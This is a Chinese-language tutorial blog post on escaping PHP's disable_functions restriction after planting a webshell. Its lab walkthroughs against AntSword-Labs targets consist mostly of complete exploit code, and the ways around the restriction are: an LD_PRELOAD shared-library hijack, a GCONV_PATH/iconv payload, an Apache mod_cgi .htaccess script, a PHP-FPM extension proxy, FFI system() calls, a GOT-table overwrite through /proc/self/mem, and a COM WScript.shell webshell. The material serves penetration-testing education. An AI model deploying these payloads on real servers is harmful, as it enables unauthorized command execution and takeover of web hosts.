PHP disable_functions

disable_functionsphp.ini中的一个设置选项。相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。

image-20211213225432124

先来看看一般是哪些函数需要放入 disable_functions

禁用函数 功能描述 危险等级
system() 允许执行一个外部程序并回显输出
exec() 允许执行一个外部程序
shell_exec() 通过 Shell 执行命令,并将执行结果作为字符串返回。
passthru() 允许执行一个外部程序并回显输出
popen() 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
proc_open() 执行一个命令并打开文件指针用于读取以及写入。
proc_get_status() 获取使用 proc_open() 所打开进程的信息。
chroot() 可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。
chgrp() 改变文件或目录所属的用户组。
chown() 改变文件或目录的所有者。
ini_set() 可用于修改、设置 PHP 环境配置参数。
ini_alter() 是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
ini_restore() 可用于恢复 PHP 环境配置参数到其初始值。
dl() 在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
pfsockopen() 建立一个 Internet 或 UNIX 域的 socket 持久连接。
symlink() 在 UNIX 系统中建立一个符号链接。
putenv() 用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
phpinfo() 输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
scandir() 列出指定路径中的文件和目录。
syslog() 可调用 UNIX 系统的系统层 syslog() 函数。
readlink() 返回符号连接指向的目标文件内容。
stream_socket_server() 建立一个 Internet 或 UNIX 服务器连接。
error_log() 将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。

注:eval()并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。

由于很多 PHP 站点往往设置了disable_functions来禁止用户调用某些危险函数,给 Getshell 带来了很大的不便,这里总结了以下绕过方法来绕过与突破disable_functions,欢迎大佬指正。

寻找黑名单遗漏的危险函数

disable_functions 是基于黑名单来实现对某些函数使用的限制的,既然是黑名单有时候就难免会有漏网之鱼。

拿到WebShell之后可以通过phpinfo来寻找黑名单遗漏的危险函数。

image-20211229222906997

以下一些比较严格的disable_functions限制项:

1
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

除了可以使用phpinfo()函数获取disable_functions外,还可以使用ini_get()函数来获取php.ini的内容:

1
<?php ini_get('disable_functions');

利用 LD_PRELOAD 环境变量

原理简介

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。

我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()exec() 等等)仍可执行系统命令的目的。

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

能够上传自己的.so文件 能够控制LD_PRELOAD环境变量的值,比如putenv()函数 因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()imap_mail()mb_send_mail()error_log()函数等

漏洞利用条件

  • Linux 操作系统

  • putenv可用

  • mail or error_log 可用,本例中禁用了 mail 但未禁用 error_log

  • 存在可写的目录,需要上传 .so 文件

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1

启动环境

1
docker-compose up -d

我们的最终目的是获取 /flag 的内容, 这个文件是 644 权限,www-data 用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令来获取 flag。

image-20220101235220486

方法一:劫持函数

一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

基于这一思路,常见突破 disable_functions 限制执行操作系统命令的思路:

1.找到一个可以启动新进程的函数,如mail()函数会启动新进程 /usr/sbin/sendmail

2.书写一个会被sendmail调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如geteuid()函数

3.运行PHP函数putenv(),设定我们的so文件为LD_PRELOAD,设置后新进程启动时将优先加载我们设置的so文件

4.运行PHP的mail()函数,这时sendmail会优点调用我们书写的getegid同名函数,达到劫持执行恶意代码的效果

首先查看sendmail会调用那些函数,这里我们选择getegid函数,也可以是其他函数进行劫持

1
2
readelf -Ws /usr/sbin/sendmail
# readelf只会显示sendmial可能调用的函数,具体调用的函数应该使用strace -f 进行查看

image-20220101234332864

靶场突破

首先在本地编写hack.c文件:

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("tac /flag > /var/www/html/flag.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

将c文件编译为so文件

1
gcc hack.c -o hack.so -shared -fPIC

使用蚁剑将hack.so上传至目标靶机

image-20220101232524908

使用蚁剑在目标靶机上写入php文件,设置环境变量并执行mail()函数

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 编译c文件后的so文件位置
mail("","","","");
?>

但是在浏览器中访问.php文件,未出现flag,猜测mail函数被禁用,可以通过写入phpinfo()查看

image-20220101233507576

sendmail也会调用error_log,修改php文件如下:

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
error_log("a",1);
?>

浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件

image-20220101234446832

方法一:预加载共享对象

在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function。

系统通过LD_PRELOAD预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function

gcc允许为函数设置如下属性,可以让其修饰的函数在mail()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行。

1
2
__attribute__((__constructor__))
// constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数

编写hack.c代码

1
2
3
4
5
6
7
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//接收传入的命令
system(cmd); // 执行命令
}

将c文件编译为so文件,并使用蚁剑将hack.so上传至目标靶机

1
gcc hack.c -o hack.so -shared -fPIC

使用蚁剑在目标靶机上写入php文件,设置环境变量并执行error_log()函数

1
2
3
4
5
<?php
putenv("CMD=tac /flag > /var/www/html/flag.txt"); # 要执行的命令
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 编译c文件后的so文件位置
error_log("a",1);
?>

浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件

image-20220102000255462

注:unsetenv()可能在CentOS上无效,因为CentOS自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv()就是对 environ 的简单封装实现的环境变量删除功能。

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一个小技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}

使用for循环修改LD_PRELOAD的首个字符改成\0这样可以使系统原有的环境变量自动失效。

利用 GCONV_PATH 与 iconv

原理简介

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()gonv_init()函数。
  4. 一些其他步骤。

我们的利用方式就是首先在某一文件夹(一般是/tmp)中上传gconv-modules文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so文件中的gonv_init()函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH指向我们的gconv-modules文件,然后使用iconv函数使我们的恶意代码执行。

漏洞利用条件

  • Linux 操作系统
  • putenv可用
  • PHP安装了iconv相关模块
  • 存在可写的目录,需要上传 .so 文件

image-20220109140408196

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9

靶场突破

首先上传gconv-modules文件于/tmp文件夹,其内容如下:

1
2
module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

在本地编写payload.c文件,内容如下:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
puts("pwned");
system("tac /flag > /var/www/html/flag.txt"); //需要执行的命令
exit(0);
}

将c文件编译为so文件

1
gcc payload.c -o payload.so -shared -fPIC

使用蚁剑将payload.so上传至目标靶机的/tmp/目录下

image-20220109152304087

编写exp.php上传至web目录下

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp");
iconv("payload", "UTF-8", "whatever");
?>

访问exp.php页面即可执行命令

image-20220109152234554

利用 Apache Mod CGI

原理简介

CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程。

MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

漏洞利用条件

  • Linux 操作系统
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3

disable_functions比之前的多了putenv

靶场突破

若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置

1
2
Options +ExecCGI
AddHandler cgi-script .dizzle

然后设置.dizzle结尾的shell文件(shell.dizzle)

1
2
3
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
tac /flag

将shell.dizzle的权限改为0777

image-20220103004105994

访问shell.dizzle即可执行命令

image-20220103004931720

注:由于Windows 系统中:每行结尾是 “<回车><换行>“,即 “\r\n“;而UNIX/Linux中:每行结尾是 “<换行>“,即 “\n“,所以在写shell.dizzle文件时必须使用手打,复制粘贴会报错误。

也可以使用如下EXP进行自动生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

浏览器访问test.php后,会生成.htacessshell.dizzle文件,文件内容与前面的是一样的。

最后访问shell.dizzle可以得到flag。

攻击 PHP-FPM 监听端口

有关PHP-FPM我在利用SSRF渗透内网主机·中一节中有提到过,不过讲的并不透彻。

推荐大家可以参考一下P神的这篇文章:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

原理简介

我查阅了一些相关文章,有关利用PHP-FPM绕过disable_functions,很多都是套用P神的脚本,利用PHP-FPM未授权伪造发送请求。但是这种情况并不能绕过disable_functions,因为本质上还是原来的php解释器来解析,还是会加载php.ini。

而使用蚁剑扩展插件的原理简单的来讲就是:利用PHP-FPM加载一个恶意的ext,使得新启动一个PHP Server后,流量通过.antproxy.php转发到无disabe_functions的PHP Server上,以此达成bypass。

所以这一部分我是直接使用蚁剑的扩展插件进行突破,再对其原理进行分析。

漏洞利用条件

  • Linux 操作系统
  • PHP-FPM
  • 存在可写的目录, 需要上传 .so 文件

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5

靶场突破

在蚁剑的插件中心找到“绕过disable_functions”插件并下载安装

image-20220105121455453

也可选择下载源码并拷贝至 antSword/antData/plugins/进行手动安装。

项目地址:https://github.com/Medicean/as_bypass_php_disable_functions

添加WebShell完成后,使用「绕过 disable_functions」插件

image-20220105122201864

选择 PHP-FPM/FastCGI 模式进行

image-20220105122257482

注意该模式下需要选择 PHP-FPM 的接口地址,需要自行找配置文件查 FPM 接口地址,默认的是 unix:/// 本地 socket 这种的,如果配置成 TCP 的默认是 127.0.0.1:9000。在本例中,FPM 运行在 127.0.0.1:9000端口

点击「开始」按钮,可以看到成功上传了一个ext、执行了某项操作与上传了一个代理脚本。

image-20220105122552195

成功后可以看到 /var/www/html/ 目录下新建了一个 .antproxy.php 文件。我们创建副本,并将连接的 URL shell 脚本名字改为 .antproxy.php,就可以成功执行命令。

image-20220105123104199

image-20220105123853225

原理分析

很明显的是蚁剑在服务器上传了 1 个 so 库,和一个.antproxy.php

上服务器先看下.antproxy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("

",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61568;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
... ...

$headers=get_client_header();
$host = "127.0.0.1";
$port = 61568;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);

... ...

可以看到它正在与61568端口进行通信(靶场中默认没有安装ps工具,需要手动安装:apt upgrade && apt install procps

image-20220105163713565

/bin/sh -c php -n -S 127.0.0.1:61568 -t /var/www/html

看来是起了一个新的 PHP Server,-n 就是不使用 php.ini,从而实现了 bypass disable_functions。大致推测出是利用之前上传的 so 库实现的命令执行,然后跑了个 PHP Server。

根据扩展插件的项目仓库(https://github.com/Medicean/as_bypass_php_disable_functions),找到主要代码的位置: core/php_fpm/index.js

启动 PHP Server 的代码,然后生成 ext(so/dll扩展) 传到服务器上。

1
2
3
4
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
...
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);

通过self.generateExt(cmd)生成了一个fileBuffer,然后通过下面代码传了上去。

1
2
3
4
core.filemanager.upload_file({
path: ext_path,
content: fileBuffer
})

构造攻击 PHP-FPM 的 Payload,加载扩展库:

image-20220105171654433

触发 Payload 后,就会执行启动一个新的 PHP Server。

后续 shell 都通过.antproxy.php 代理用 61568 的 PHP 解析,也就没有 disable_functions 了。

那么重点就在于generateExt函数了,这个在core/base.js里面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 生成扩展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}

直接对二进制数据操作,在 start 到 end 中填入 cmd(就是前面说到的命令/bin/sh -c php -n -S 127.0.0.1:61568 -t /var/www/html)。

由于没有找到ext中so/dll的源码,只能放在IDA中逆向一下。

image-20220105170725418

简单粗暴,so/dll 文件给cmd留点位置,需要执行啥命令就写啥命令进去。然后执行 so/dll 就可以执行该命令了。

利用 PHP7.4 FFI 扩展执行命令

原理简介

FFI(Foreign Function Interface),即外部函数接口。是指在一种语言里调用另一种语言代码的技术。PHP在7.4版本中新增加了此扩展,PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。

漏洞利用条件

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且 ffi.enable=true

image-20220105233955193

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/8

靶场突破

上传EXP:

1
2
3
4
5
6
<?php
$ffi = FFI::cdef("int system(const char *command);"); # 声明ffi,调用system函数
$ffi->system("tac /flag > /var/www/html/flag.txt"); # 执行命令读取flag
echo file_get_contents("/var/www/html/flag.txt");
// @unlink("/var/www/html/flag.txt"); # 删除flag.txt文件
?>

直接访问提交即可。

劫持 GOT 表

原理简介

在linux系统中,procfs 文件系统是个特殊的存在,对应的是 /proc目录,php 可以通过/proc 目录读写自己所在进程的内存,将非敏感函数地址替换成glibc 中的system地址,从而执行命令,其涉及的技术叫做 GOT表劫持。

通过正常函数实现敏感行为绕过 RASP ,举个例子,如果能将open函数地址换成system地址,那么便可以将fopen打开文件的命令,最终变成glibc调用system执行命令。

详细原理讲解可参考:

https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485666&idx=1&sn=71a0cce05637edd488cb9cccb3967504

漏洞利用条件

  • 内核版本>=2.98
  • PHP < 5.6
  • 基于www权限的php-fpm/php-cgi work进程必须有权限读写 /proc/self/目录。
  • open_basedir=off(或者能绕过open_basedir读写 /lib/ 和/proc/)

注:apache+php 由于 apache调用setuid设置www权限工作进程,/proc/self/目录属于root用户,导致没有权限读写。

nginx+php,对于低版本的php -fpm www权限工作进程, /proc/self/目录属于www用户可以读写。经不完全测试,php<5.6 版本是可以使用GOT表劫持。

靶场环境

  • Linux系统:CentOS 7.6(内核版本3.10.0)
  • Web服务:Nginx 1.18.0
  • PHP版本:5.4.16

靶场突破

以下EXP来源:https://github.com/beched/php_disable_functions_bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php

/*

$libc_ver:

beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so

$open_php:

beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT open

$system_offset and $open_offset:

beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5

*/

function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}

function unp($value) {
return hexdec(bin2hex(strrev($value)));
}

function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));

for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}

if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}

echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exiting\n";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmd\n";
readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exiting\n";

利用 Windows 系统组件 COM

原理简介

COM(Component Object Model)组件对象模型,是一种跨应用和语言共享二进制代码的方法。COM 可以作为 DLL 被本机程序载入也可以通过 DCOM 被远程进程调用

C:WindowsSystem32 下的 wshom.ocx 能够提供 WshShell 对象和 WshNetwork 对象接口的访问,也就是提供对本地 Windows shell 和计算机所连接的网络上共享资源的访问

漏洞利用条件

  • Windows系统
  • php.ini 中开启 com.allow_dcom
  • 到 php.ini 中开启拓展extension=php_com_dotnet.dll

靶场环境

在Windows2008R2服务器上搭建WAMP环境。

php.ini 中开启 com.allow_dcom

1
com.allow_dcom = true

因为是在 Windows,如果在拓展文件夹 php/ext/ 中存在 php_com_dotnet.dll

到 php.ini 中开启拓展

1
extension=php_com_dotnet.dll

重启服务在 phpinfo 中就能看到开启了 com_dotnet

image-20220110183757552

靶场突破

上传EXP:

1
2
3
4
5
6
7
8
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

